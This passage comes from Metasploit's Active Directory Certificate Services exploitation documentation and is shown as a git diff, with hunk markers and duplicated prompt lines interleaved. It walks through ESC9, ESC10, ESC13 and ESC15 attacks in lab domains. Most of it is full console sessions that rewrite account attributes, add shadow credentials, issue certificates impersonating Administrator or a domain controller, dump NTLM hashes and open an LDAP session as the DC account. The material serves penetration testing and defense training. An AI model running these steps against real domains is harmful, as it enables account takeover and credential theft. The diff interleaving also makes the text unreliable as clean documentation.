[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-2324486357-3075865580-3606784161-1602 (user1)
[*] * S-1-5-21-2324486357-3075865580-3606784161-1603 (user2)
[*] * S-1-5-11 (Authenticated Users)
...
```
Now we can see the above template is possibly exploitable if the `StrongCertificateBindingEnforcement` is set to `1`. In
our case it is so we can proceed with exploitation.
We will set a number of datastore options in order to exploit ESC9 in this scenario.
We will set `RHOSTS`, `CERT_TEMPLATE`, and `CA` as we normally would. In order to update the UPN of the
target user we must connect to LDAP and so the datastore options `LDAPUsername`, `LDAPPassword`, and `LDAPDomain`
are the credentials of the user who has `GenericWrite` privileges over the `TARGET_USERNAME`. Note `LDAPRport` must be
set in order to connect however it defaults to 389.
The option `UPDATE_LDAP_OBJECT` is an enum that can be set to either `userPrincipalName` or `dNSHostName` and must be
set in order to instruct the module to attempt to exploit ESC9 or ESC10. We will set `UPDATE_LDAP_OBJECT` to
`userPrincipalName` in this case and so we then must set `UPDATE_LDAP_OBJECT_VALUE` to `Administrator`.
It's important for this scenario, when updating the UPN to omit the domain suffix from the UPN to avoid conflicts with
other UPNs in the domain, which by default all contain the suffix. The UPN processing order will still allow the DC to
map the UPN Administrator in our writable account to the actual administrator, making its impersonation possible.
It's also important to note that after issuing the certificate we must revert the `userPrincipalName` of the
`TARGET_USERNAME` back to the original value before attempting to use the certificate or the certificate will not work.
This is done automatically by the module.
In the following example, the ESC9-Template template is vulnerable to ESC9 and will yield a ticket for Administrator once complete.
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
target_username => user2
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
ldapusername => user1
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC9-Template
cert_template => SpencerTest
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-DC2-CA
ca => kerberos-DC2-CA
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
UPDATE_LDAP_OBJECT_VALUE => Administrator
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: user2
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
[+] The operation completed successfully!
[*] 172.16.199.200:445 - Adding shadow credentials for user2
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_windows.ad.cs_563081.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 2ff08c15-0ab3-98ad-ee0b-3fd1fbcf3e9d
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
[*] 172.16.199.200:445 - Getting hash for user2
[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_263627.bin
[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_015140.bin
[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - Certificate UPN: Administrator
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717140907_default_172.16.199.200_windows.ad.cs_548728.pfx
[*] 172.16.199.200:445 - reverting ldap object
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] No matching entries found - check device ID
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: Administrator
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information.
## ESC9 Scenario 2
Pre-requisites:
- `StrongCertificateBindingEnforcement` is set to `1` (if it's set to `0` exploitation will still work but technically you're exploiting ESC10 in that case)
- A vulnerable certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag set.
- The same vulnerable template has the `SubjectAltRequireDNS` flag set. <--- (Difference 1/2 between pre-requisites in scenario 1 and 2)
- The same vulnerable template has a client authentication EKU
- We have credentials of a machine account who has `GenericWrite` privileges over another **machine account** that can enroll in the vulnerable template <--- (Difference 2/2 between pre-requisites in scenario 1 and 2)
- Only machine accounts can have the `dNSHostName` attribute set, so our "target_user" needs to be machine account
The option `UPDATE_LDAP_OBJECT` will now be set to `dNSHostName` and because only machine accounts have the `dNSHostName` attribute we will set our `TARGET_USER` to the machine account`Test2$`
We will be changing the `dNSHostName` of the machine account `Test1$` to `DC2.kerberos.issue` (`DC2` is the hostname of the domain controller) in hopes to impersonate the Domain Controller machine account
`CERT_TEMPLATE` will be set to `ESC9-Template-Dns` which is the same template as `ESC9-Template` but with the `SubjectAltRequireDNS` flag set instead of the `SubjectAltRequireUPN` flag.
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "Test2$"
target_username => Test2$
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE dc2.kerberos.issue
UPDATE_LDAP_OBJECT_VALUE => dc2.kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT dnsHostName
UPDATE_LDAP_OBJECT => dNSHostName
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
CA => kerberos-DC2-CA
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC9-Template-Dns
CERT_TEMPLATE => ESC9-Template-Dns
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername Test1$
ldapusername => Test1$
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Reloading module...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of Test2$'s dNSHostName:
[*] Attempting to update dNSHostName for CN=Test2,CN=Computers,DC=kerberos,DC=issue to dc2.kerberos.issue...
[+] Successfully updated CN=Test2,CN=Computers,DC=kerberos,DC=issue's dNSHostName to dc2.kerberos.issue
[+] The operation completed successfully!
[*] 172.16.199.200:445 - Adding shadow credentials for Test2$
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717141705_default_172.16.199.200_windows.ad.cs_907188.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 517757a2-5174-5c43-6005-102c4429ff05
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
[*] 172.16.199.200:445 - Getting hash for user2
[!] Warning: Provided principal and realm (Test2$@kerberos.issue) do not match entries in certificate:
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717141705_default_172.16.199.200_mit.kerberos.cca_132784.bin
[*] 172.16.199.200:88 - Getting NTLM hash for Test2$@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717141705_default_172.16.199.200_mit.kerberos.cca_364943.bin
[+] Found NTLM hash for Test2$: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - Certificate DNS: dc2.kerberos.issue
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717141706_default_172.16.199.200_windows.ad.cs_369517.pfx
[*] 172.16.199.200:445 - reverting ldap object
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[+] Deleted entry with device ID 517757a2-5174-5c43-6005-102c4429ff05
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Attempting to delete attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue...
[+] Successfully deleted attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue
[+] The operation completed successfully!
[*] Auxiliary module execution completed
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.16.199.200 cert_file=/Users/jheysel/.msf4/loot/20250717141706_default_172.16.199.200_windows.ad.cs_369517.pfx
[*] Running module against 172.16.199.200
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717142328_default_172.16.199.200_mit.kerberos.cca_370847.bin
[*] 172.16.199.200:88 - Getting NTLM hash for dc2$@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717142328_default_172.16.199.200_mit.kerberos.cca_596103.bin
[+] Found NTLM hash for dc2$: aad3b435b51404eeaad3b435b51404ee:cceede79c156a295f45e7ad38ee2f884
[*] Auxiliary module execution completed
```
# Exploiting ESC10
## ESC10 Scenario 1
Pre-requisites:
- `StrongCertificateBindingEnforcement` is set to `0`
- Because the above is set to `0` we don't need the `CT_FLAG_NO_SECURITY_EXTENSION` flag set on the vulnerable template
- Other than the above, pre-requisites and exploitation are the exact same as ESC9 Scenario 1
## ESC10 Scenario 2
Pre-requisites:
- `CertificateMappingMethods` is set to `0x0004` (UPN certificate mapping) or `0x001F` (All of the above values)
- The vulnerable template has the `SubjectAltRequireUPN` set
- The same vulnerable template has a client authentication EKU
- We have credentials of a machine account who has `GenericWrite` privileges over another machine account that can enroll in the vulnerable template
In this scenario we can only compromise accounts that do not already have a populated `userPrincipalName` attribute, such as machine accounts and the default domain administrator.
In addition, because this registry key only applies to SChannel authentication we are forced to authenticate to LDAPS once we get a certificate.
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "user2"
target_username => user2
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE 'DC2$@kerberos.issue'
UPDATE_LDAP_OBJECT_VALUE => DC2$@kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT userPrincipalName
UPDATE_LDAP_OBJECT => userPrincipalName
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
CA => kerberos-DC2-CA
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC10-Template
CERT_TEMPLATE => ESC10-Template
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
ldapusername => user1
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: user2
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to DC2$@kerberos.issue...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to DC2$@kerberos.issue
[+] The operation completed successfully!
[*] 172.16.199.200:445 - Adding shadow credentials for user2
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717143323_default_172.16.199.200_windows.ad.cs_860225.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 825a1a2f-336f-e41c-24fb-703bb79f79f9
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
[*] 172.16.199.200:445 - Getting hash for user2
[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717143323_default_172.16.199.200_mit.kerberos.cca_872380.bin
[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717143323_default_172.16.199.200_mit.kerberos.cca_123025.bin
[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.1 (Server Authentication)
[*] 172.16.199.200:445 - * 1.3.6.1.4.1.311.20.2.2 (Smart Card Logon)
[*] 172.16.199.200:445 - Certificate UPN: DC2$@kerberos.issue
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717143324_default_172.16.199.200_windows.ad.cs_752634.pfx
[*] 172.16.199.200:445 - reverting ldap object
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[+] Deleted entry with device ID 825a1a2f-336f-e41c-24fb-703bb79f79f9
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: DC2$@kerberos.issue
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
[+] The operation completed successfully!
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > use ldap_login
[*] Using auxiliary/scanner/ldap/ldap_login
[*] The CreateSession option within this module can open an interactive session
msf6 auxiliary(scanner/ldap/ldap_login) > run ssl=true rhosts=172.16.199.200 LDAP::Auth=schannel LDAP::CertFile=/Users/jheysel/.msf4/loot/20250717143324_default_172.16.199.200_windows.ad.cs_752634.pfx
[+] Success: 'Cert File /Users/jheysel/.msf4/loot/20250717143324_default_172.16.199.200_windows.ad.cs_752634.pfx'
[*] LDAP session 1 opened (172.16.199.1:58674 -> 172.16.199.200:389) at 2025-07-17 14:35:08 -0700
[*] Scanned 1 of 1 hosts (100% complete)
[*] Bruteforce completed, 1 credential was successful.
[*] 1 LDAP session was opened successfully.
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ldap/ldap_login) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 ldap LDAP DC2$ @ 172.16.199.200:389 172.16.199.1:58674 -> 172.16.199.200:389 (172.16.199.200)
```
# Exploiting ESC13
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
@@ -931,7 +1327,7 @@ permissions will be included in the resulting Kerberos ticket in the notes secti
ESC13-Test template is vulnerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
```
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
...
[+] Template: ESC13-Test
[*] Distinguished Name: CN=ESC13-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=collalabs1,DC=local
@@ -954,20 +1350,20 @@ In this case, the ticket can be issued with the `icpr_cert` module. No additiona
certificate beyond the standard `CA`, `CERT_TEMPLATE`, target and authentication options.
```
msf6 > use auxiliary/admin/dcerpc/icpr_cert
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
msf > use auxiliary/admin/dcerpc/icpr_cert
msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
SMBUser => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
SMBDomain => COLLALABS1
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
SMBPass => normalpass
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
msf auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
CA => collalabs1-SRV-ADDS01-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test
CERT_TEMPLATE => ESC13-Test
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85
[+] 172.30.239.85:445 - The requested certificate was issued.
@@ -976,7 +1372,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] 172.30.239.85:445 - Certificate UPN: normaluser@collalabs1.local
[*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20240226170310_default_172.30.239.85_windows.ad.cs_917878.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
msf auxiliary(admin/dcerpc/icpr_cert) >
```
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) with the `ESC13-Group`
@@ -993,25 +1389,25 @@ used for authentication to LDAP via SCHANNEL. The operator can then perform LDAP
specified in the alternate UPN.
```msf
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
SMBUser => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
SMBDomain => COLLALABS1
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
SMBPass => normalpass
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
msf auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
CA => collalabs1-SRV-ADDS01-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC15-Test
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC15-Test
CERT_TEMPLATE => ESC15-Test
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ADD_CERT_APP_POLICY 1.3.6.1.5.5.7.3.2
msf auxiliary(admin/dcerpc/icpr_cert) > set ADD_CERT_APP_POLICY 1.3.6.1.5.5.7.3.2
ADD_CERT_APP_POLICY => 1.3.6.1.5.5.7.3.2
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN administrator@collalabs1.local
msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN administrator@collalabs1.local
ALT_UPN => administrator@collalabs1.local
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85
[*] 172.30.239.85:445 - Requesting a certificate...
@@ -1021,7 +1417,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] 172.30.239.85:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20241009171337_default_172.30.239.85_windows.ad.cs_089081.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
msf auxiliary(admin/dcerpc/icpr_cert) >
```
Certificates issued using this technique are not directly able to be used for Kerberos authentication via PKINIT.
@@ -1029,21 +1425,21 @@ However, the attack can be modified by adding the Certificate Request Agent OID
certificate that can issue additional certificates in a manner similar to ESC2 which are compatible with PKINIT.
```msf
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
SMBUser => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
SMBDomain => COLLALABS1
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
SMBPass => normalpass
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
msf auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
CA => collalabs1-SRV-ADDS01-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC15-Test
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC15-Test
CERT_TEMPLATE => ESC15-Test
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ADD_CERT_APP_POLICY 1.3.6.1.4.1.311.20.2.1
msf auxiliary(admin/dcerpc/icpr_cert) > set ADD_CERT_APP_POLICY 1.3.6.1.4.1.311.20.2.1
ADD_CERT_APP_POLICY => 1.3.6.1.4.1.311.20.2.1
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85
[*] 172.30.239.85:445 - Requesting a certificate...
@@ -1053,24 +1449,24 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] 172.30.239.85:445 - * 1.3.6.1.4.1.311.20.2.1 (Certificate Request Agent)
[*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
msf auxiliary(admin/dcerpc/icpr_cert) >
```
Next, the certificate is used in conjunction with the `PFX` and `ON_BEHALF_OF` options to issue a certificate compatible
with Kerberos as the privileged user (previously `ALT_UPN`).
```
msf6 auxiliary(admin/dcerpc/icpr_cert) > unset ADD_CERT_APP_POLICY
msf auxiliary(admin/dcerpc/icpr_cert) > unset ADD_CERT_APP_POLICY
Unsetting ADD_CERT_APP_POLICY...
msf6 auxiliary(admin/dcerpc/icpr_cert) > unset ALT_UPN
msf auxiliary(admin/dcerpc/icpr_cert) > unset ALT_UPN
Unsetting ALT_UPN...
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
CERT_TEMPLATE => User
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF COLLALABS1\\administrator
msf auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF COLLALABS1\\administrator
ON_BEHALF_OF => COLLALABS1\\administrator
msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx
msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx
PFX => /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85
[*] 172.30.239.85:445 - Requesting a certificate...
@@ -1079,11 +1475,173 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] 172.30.239.85:445 - Certificate UPN: administrator@collalabs1.local
[*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20241009172817_default_172.30.239.85_windows.ad.cs_427087.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
msf auxiliary(admin/dcerpc/icpr_cert) >
```
Finally, *this* certificate can be used to authenticate to Kerberos with the `kerberos/get_ticket` module.
# Exploiting ESC16
ESC16 refers to a CA-level misconfiguration where the SID security extension (OID `1.3.6.1.4.1.311.25.2`), introduced in
the May 2022 KB5014754 update, is globally disabled. This extension allows domain controllers to securely map
